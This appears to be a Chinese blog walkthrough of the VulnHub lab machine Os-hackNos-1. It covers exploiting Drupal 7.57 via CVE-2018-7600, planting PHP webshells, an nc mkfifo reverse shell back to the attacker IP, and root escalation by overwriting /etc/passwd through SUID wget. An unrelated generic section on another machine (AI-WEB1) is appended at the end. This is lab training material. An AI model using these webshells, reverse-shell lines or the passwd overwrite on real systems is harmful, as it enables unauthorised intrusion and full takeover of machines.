vulnhub靶机 Os-hackNos-1

本文详细记录了利用CVE-2018-7600漏洞对Drupal7.57版本进行渗透测试的过程,包括获取靶机IP、目录扫描、执行exploit、上传webshell、反弹shell、解密密码、提权至root用户并读取root.txt内容。通过一步步操作,展示了黑客攻击的完整流程。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

vulnhub靶机 Os-hackNos-1

靶机下载 https://www.vulnhub.com/entry/hacknos-os-hacknos,401

目标为 普通用户的user.txt和root用户的root.txt

靶机配置

在将靶机文件下载下来为Os-hackNos-1.ova

使用vm打开这个ova文件进行导入。导入完成后,若是遇到无法获取ip地址,则需要在启动界面点击shift进入如下界面按下e

请添加图片描述

向下翻动,将ro改为rw single init=/bin/bash

请添加图片描述

然后按下 ctrl+x进入shell

使用ip a查看ip地址

若发现无ip地址,则记住网卡名称,这里是ens33

请添加图片描述

使用

vim /etc/network/interfaces

对网卡信息进行编辑

请添加图片描述

如果在使用vim /etc/network/interfaces没有如上信息,则需要重新导入ova,即删掉此虚拟机,重新使用vm打开ova并导入。

使用

/etc/init.d/networking restart

进行网卡重启

若是返回networking没找到此命令,证明ova导入时文件缺失,需要重新导入ova。

进行渗透

靶机和kali在同一个网段。

使用nmap对此网段进行扫描

nmap 192.168.5.0/24 -O

其中靶机的信息如下

Nmap scan report for 192.168.5.132
Host is up (0.00047s latency).
Not shown: 998 closed ports
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
MAC Address: 00:0C:29:B0:11:06 (VMware)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop

其中80端口开启了

则这里靶机ip地址为192.168.5.132

故存在网页,则使用dirsearch进行目录扫描

请添加图片描述

发现http://192.168.5.132/drupal/并进行访问

请添加图片描述

通过 http://192.168.0.142/drupal/CHANGELOG.txt 得知grupal的版本为 Drupal 7.57

请添加图片描述

在百度等搜索引擎中搜索该版本的漏洞,找到CVE-2018-7600

请添加图片描述

在github中下载该漏洞的exp

https://github.com/pimps/CVE-2018-7600

git clone https://github.com/pimps/CVE-2018-7600.git

在kali中

./drupa7-CVE-2018-7600.py http://192.168.5.132/drupal/ -c ls

或者
python3 drupa7-CVE-2018-7600.py http://192.168.5.132/drupal/ -c ls

即可执行ls读取文件

请添加图片描述

在当前目录写一个一句话木马

这里参考的moonsec的

moon.php

<?php system($_POST['moon']);?>

这里写自己的webshell

php.php

<?php @eval($_POST['qwer']);?>

后者可以通过菜刀之类的webshell工具进行连接

这里用哥斯拉进行连接

请添加图片描述

请添加图片描述

或者采用第一种(即moon的方式)进行反弹shell

然后在当前目录开启python自带的httpserver

python -m SimpleHTTPServer

然后使用

./drupa7-CVE-2018-7600.py http://192.168.5.132/drupal/ -c "wget http://192.168.5.129:8000/moon.php"   

将php文件上传到靶机上

再使用

./drupa7-CVE-2018-7600.py http://192.168.5.132/drupal/ -c ls

查看php木马是否上传成功

请添加图片描述

首先在kali中使用nc进行监听

nc -lvnp 9000

在浏览器中访问http://192.168.5.132/drupal/moon.php

使用burp进行抓包准备反弹shell

POST /drupal/moon.php HTTP/1.1

Host: 192.168.5.132

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4482.0 Safari/537.36 Edg/92.0.874.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

Accept-Encoding: gzip, deflate

Connection: close

Cookie: has_js=1

Upgrade-Insecure-Requests: 1

Content-Type: application/x-www-form-urlencoded

Content-Length: 91



moon=rm+/tmp/f%3bmkfifo+/tmp/f%3bcat+/tmp/f|/bin/bash++2>%261|nc+192.168.5.129+9000+>/tmp/f

注意这里的 192.168.5.129为kali的ip地址

moon博客里写的是/bin/sh -i 但是我在测试时报错了

rm+/tmp/f%3bmkfifo+/tmp/f%3bcat+/tmp/f|/bin/sh+‐i+2>%261|nc+192.168.0.136+9001+>/tmp/f

我这里改为 /bin/bash

moon=rm+/tmp/f%3bmkfifo+/tmp/f%3bcat+/tmp/f|/bin/bash++2>%261|nc+192.168.5.129+9000+>/tmp/f

提交之后可以反弹一个shell

请添加图片描述

此时已经反弹成功

然后切换为python3的shell

python3 -c 'import pty;pty.spawn("/bin/bash")'

请添加图片描述

在网站根目录发现一个alexander.txt

使用cat获取其内容

www-data@hackNos:/var/www/html/drupal$ cd ..
cd ..
www-data@hackNos:/var/www/html$ ls
ls
alexander.txt  drupal  index.html
www-data@hackNos:/var/www/html$ cat alexander.txt
cat alexander.txt
KysrKysgKysrKysgWy0+KysgKysrKysgKysrPF0gPisrKysgKysuLS0gLS0tLS0gLS0uPCsgKytbLT4gKysrPF0gPisrKy4KLS0tLS0gLS0tLjwgKysrWy0gPisrKzwgXT4rKysgKysuPCsgKysrKysgK1stPi0gLS0tLS0gLTxdPi0gLS0tLS0gLS0uPCsKKytbLT4gKysrPF0gPisrKysgKy48KysgKysrWy0gPisrKysgKzxdPi4gKysuKysgKysrKysgKy4tLS0gLS0tLjwgKysrWy0KPisrKzwgXT4rKysgKy48KysgKysrKysgWy0+LS0gLS0tLS0gPF0+LS4gPCsrK1sgLT4tLS0gPF0+LS0gLS4rLi0gLS0tLisKKysuPA==

凭借经验看出这是base64加密的数据,将其使用base64解密

请添加图片描述

然后发现左边是Brainfuck

请添加图片描述

解密网站如下

https://www.splitbrain.org/services/ook

请添加图片描述

点击右下角Brainfuck to text即可解密

得到james:hacker@4514

通过查找,在home中找到james和其目录下的user.txt

www-data@hackNos:/home/james$ cat user.txt
cat user.txt
   _                                  
  | |                                 
 / __) ______  _   _  ___   ___  _ __ 
 \__ \|______|| | | |/ __| / _ \| '__|
 (   /        | |_| |\__ \|  __/| |   
  |_|          \__,_||___/ \___||_|   
                                      
                                      

MD5-HASH : bae11ce4f67af91fa58576c1da2aad4b

试着提权,先看看suid提权,需要搜索到,带有s的文件,开始查找。

find / -perm -u=s -type f 2>/dev/null

请添加图片描述

发现wget普通用户也可执行

那么提权的方式就是通过下载目标靶机上的passwd,然后构造一个有root权限的用户加入到构造的passwd文件中,然后使用wget -O将内容重定向输入到/etc/passwd中

首先通过cat /etc/passwd获取靶机密码

www-data@hackNos:/var/www/html/drupal$ cat /etc/passwd
cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false
systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false
systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false
systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false
syslog:x:104:108::/home/syslog:/bin/false
_apt:x:105:65534::/nonexistent:/bin/false
lxd:x:106:65534::/var/lib/lxd/:/bin/false
messagebus:x:107:111::/var/run/dbus:/bin/false
uuidd:x:108:112::/run/uuidd:/bin/false
dnsmasq:x:109:65534:dnsmasq,,,:/var/lib/misc:/bin/false
james:x:1000:1000:james,,,:/home/james:/bin/bash
sshd:x:110:65534::/var/run/sshd:/usr/sbin/nologin
mysql:x:111:118:MySQL Server,,,:/nonexistent:/bin/false
moon:$1$moon$8F2YI9c3zhkkS9SOsKawY0:0:0:root:/root:/bin/bash

复制到本地生成文件passwd

在kali中生成密码
请添加图片描述

将moon加入到伪造的passwd,并赋予root权限

请添加图片描述

将passwd放到开启了python httpserver的文件夹中

然后使用

./drupa7-CVE-2018-7600.py http://192.168.5.132/drupal/ -c "wget http://192.168.5.129:8000/passwd -O /etc/passwd"  

或者直接在已有的shell中进行

wget http://192.168.5.129:8000/passwd -O /etc/passwd

然后在已有的shell中进行切换用户

请添加图片描述


root@hackNos:/var/www# cd ~
cd ~
root@hackNos:~# ls
ls
root.txt
root@hackNos:~# cat root.txt
cat root.txt
    _  _                              _   
  _| || |_                           | |  
 |_  __  _|______  _ __  ___    ___  | |_ 
  _| || |_|______|| '__|/ _ \  / _ \ | __|
 |_  __  _|       | |  | (_) || (_) || |_ 
   |_||_|         |_|   \___/  \___/  \__|
                                          
                                          

MD5-HASH : bae11ce4f67af91fa58576c1da2aad4b

Author : Rahul Gehlaut

Linkedin : https://www.linkedin.com/in/rahulgehlaut/

Blog : www.hackNos.com

注意事项

使用菜刀等webshell不能切换,因为su命令必须在终端中执行

su: must be run from a terminal

请添加图片描述

### 关于VulnHub靶机AI-WEB1的信息 针对VulnHub平台上的AI-WEB1靶机,该虚拟机旨在提供给有兴趣了解Web应用程序安全性的个人一种实践环境。通过这一挑战,参与者可以探索常见的Web应用漏洞以及如何利用这些弱点来获得系统的进一步访问权限。 #### 初始侦察阶段 在开始任何实际攻击之前,进行全面的情报搜集至关重要。这通常涉及到使用诸如`Nmap`这样的工具来进行端口扫描和服务版本检测: ```bash nmap -A <target_IP> ``` 上述命令能够揭示开放的服务及其潜在的安全配置缺陷[^3]。 #### Web服务器枚举 一旦确认目标运行着HTTP(S)服务,则应立即启动目录遍历尝试。可借助像`Dirb`或更现代的选择如`Gobuster`等工具完成这项工作: ```bash gobuster dir -u http://<target_ip> -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt ``` 此过程有助于发现隐藏页面和管理接口,它们可能是后续入侵的关键入口点。 #### 应用层挖掘 对于基于PHP构建的应用程序来说,源码泄露是一个常见问题。如果运气好,在上一步找到的路径里可能会存在`.php~`或其他临时文件形式暴露出来的代码片段。仔细审查这部分内容往往能带来意想不到的收获——比如硬编码凭证或是调试模式下的敏感信息泄漏。 #### 数据库交互测试 许多老旧CMS(内容管理系统)容易受到SQL注入的影响。当遇到带有查询参数的URL时,不妨试试经典的单引号闭合技巧;而对于表单提交,则可通过修改POST数据包中的字段名与值组合来进行试探性输入验证绕过[^8]。 #### 提升权限方法 成功突破前端防护之后,下一步便是考虑怎样扩大战果直至取得root shell。Linux系统下,检查SUID位设置不当的二进制文件是一项基本技能;而Windows环境中则需留意计划任务、注册表键值异常变动等情况。 #### Drupal特定注意事项 鉴于部分描述提及到Drupal CMS, 若确实如此的话,值得注意的是有关于此框架内核升级机制的一个已知特性:即管理员账户密码可以通过编辑数据库记录的方式实现重置而不依赖原有认证流程[^9]。
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值